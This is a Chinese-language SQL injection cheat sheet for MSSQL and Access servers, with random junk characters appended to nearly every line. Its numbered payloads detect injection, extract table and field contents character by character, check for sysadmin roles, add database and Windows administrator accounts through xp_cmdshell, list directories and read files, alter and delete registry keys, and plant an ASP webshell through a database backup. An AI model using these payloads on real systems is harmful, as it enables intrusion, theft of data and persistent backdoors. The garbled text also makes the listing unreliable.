1.判断是否有注入;and 1=1 ;and 1=2 1iF
|t5>e
2.初步判断是否是mssql ;and user>0 Q#:,s8TW[
tw*qlb FHv
3.注入参数是字符'and [查询条件] and ''=' HnOp*FP
?bN8h)>QQ8
4.搜索时没过滤参数的'and [查询条件] and '%25'=' m[Zz(tL
RJBNY;0
5.判断数据库系统 C(W?)6?
IybMO5Mwn
;and (select count(*) from sysobjects)>0 mssql yKfRwO[j
wXNFL9F8
;and (select count(*) from msysobjects)>0 access O- r"G
[@>Kd`!'
: 2?i9F0_
/6L\`\g
6.猜数据库 ;and (select Count(*) from [数据库名])>0 3n6_yK+D
*h-nI=
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 W.0dGUi*
VQqEsnkz
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Gi;eDrgj~
}Qg9l|
9.(1)猜字段的ascii值(access) 4P2)fLmc
$:mCyP<y
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 }.`ycLW'
. 1?AU6\
(2)猜字段的ascii值(mssql) WOgbz&S?J
j##IJm
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
]9A9q<lZ
]^aece
t
10.测试权限结构(mssql) -V4@BKI8
O \lt!p3F
q[dls_
chfj|Ce]x
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- <R]?8L0{h
B8B^@
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- (h`||48d
gX6'!}G8]
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- m_(+-G
_W?}%;
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- oN)K2&M0
,|T
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- s(wbsRVP8
t;y>q
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- wl5!f|
t^u X9yvx
;and 1=(select IS_MEMBER('db_owner'));-- 7,Z%rqf\)
G}f.fRY
M;3uG/E\
O'$:wc#
11.添加mssql和系统的帐户 pD`7N<F 3
Ng+k{vAj
;exec master.dbo.sp_addlogin username;-- v*]|1q%/
;exec master.dbo.sp_password null,username,password;-- 5=Gq
d4&*
=@{H7z(p&
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- =
#ocp
8 +uOYNXsA
;exec master.dbo.xp_cmdshell 'net user username password H#wn3O
Ld+}T"Z&M>
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- pBmacFP
6,s@>8n
;exec master.dbo.xp_cmdshell 'net user username password /add';-- \zgRzO'N
=%$ _)=}J
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 52-^HV
W%~ S~wx
VA2%2g2n{
R.>/%o
12.(1)遍历目录 "C}nS=]8m
QLIm+)T
;create table dirs(paths varchar(100), id int) oOQnV(I
$Ce`(/
;insert dirs exec master.dbo.xp_dirtree 'c:\' JUwP<C[
(lEWnf=2h
;and (select top 1 paths from dirs)>0 7{<t]wQq
"&L<u0KHG
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) yUEUIPL
Kw925@W
\]y$[\F>
JLc\KVmF
(2)遍历目录 9{ciD
"!&V
(AR-8
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- fN t
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Zf(ucAhL
8]2S'mxE
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 #M{}Grg
0g`WRe
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 n6ud;jN|
O6boTB_2
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 G7zfyw}W
}$g5:k!
?^,GaZ^V
<}i\fJX6
13.mssql中的存储过程 80:na7$)#
[f-
#pew
xp_regenumvalues 注册表根键, 子键 Cn+TcdHX
=EV8~hMyqh
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 I9tdr<
qYbod+UX
xp_regread 根键,子键,键值名 ^#gGA_H
c5O1h8
;exec xp_regread NIV&)`w
4my8 p Fk
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 FC vR
Ur5X~a\y
xp_regwrite 根键,子键, 值名, 值类型, 值 J,P7k$t2vv
(K0FWTmm
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ,uDB]
64>Zr
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ?WUu@Z
]lm9D@HMC
xp_regdeletevalue 根键,子键,值名 3MkF
?i9LqHL
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Lqwc:%Y:_
@GjWeOj]
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 p/SJt0
~-'nEA TE
aD%")eP%&
UW)k]@L
14.mssql的backup创建webshell Pm"
,7
L;grH5K5
use model Pf(z0o&
AL,|%yup
create table cmd(str image); 7j._3'M=Kc
kO/dZ%vj
insert into cmd(str) values (''); Av+R~&h
O%
9~1_
backup database model to disk='c:\l.asp'; 97<Y.
0
mxDy!:@=
INcJXlv
U_oMR$/Z
15.mssql内置函数 =`.9 V<
Nu|?s-
;and (select @@version)>0 获得Windows的版本号 9>[$;>
#J1a `}x
;and user_name()='dbo' 判断当前系统的连接用户是不是sa s}/YcUK
IvH0sS`F
;and (select user_name())>0 爆当前系统的连接用户 MPNBA1s
bha_bj
;and (select db_name())>0 得到当前连接的数据库 ~Dgui/r9J
%
sT=>\
^Z2%b>
cl14FrpYu
16.简洁的webshell =p^*y-z
2nOQ48haT
use model Rw Y)
O5
]Alu~ Dw
create table cmd(str image); #Wh"_zpM+
gp(w6:w
insert into cmd(str) values (''); S(/@.gI:f
*|hICTWL
backup database model to disk='g:\wwwtest\l.asp';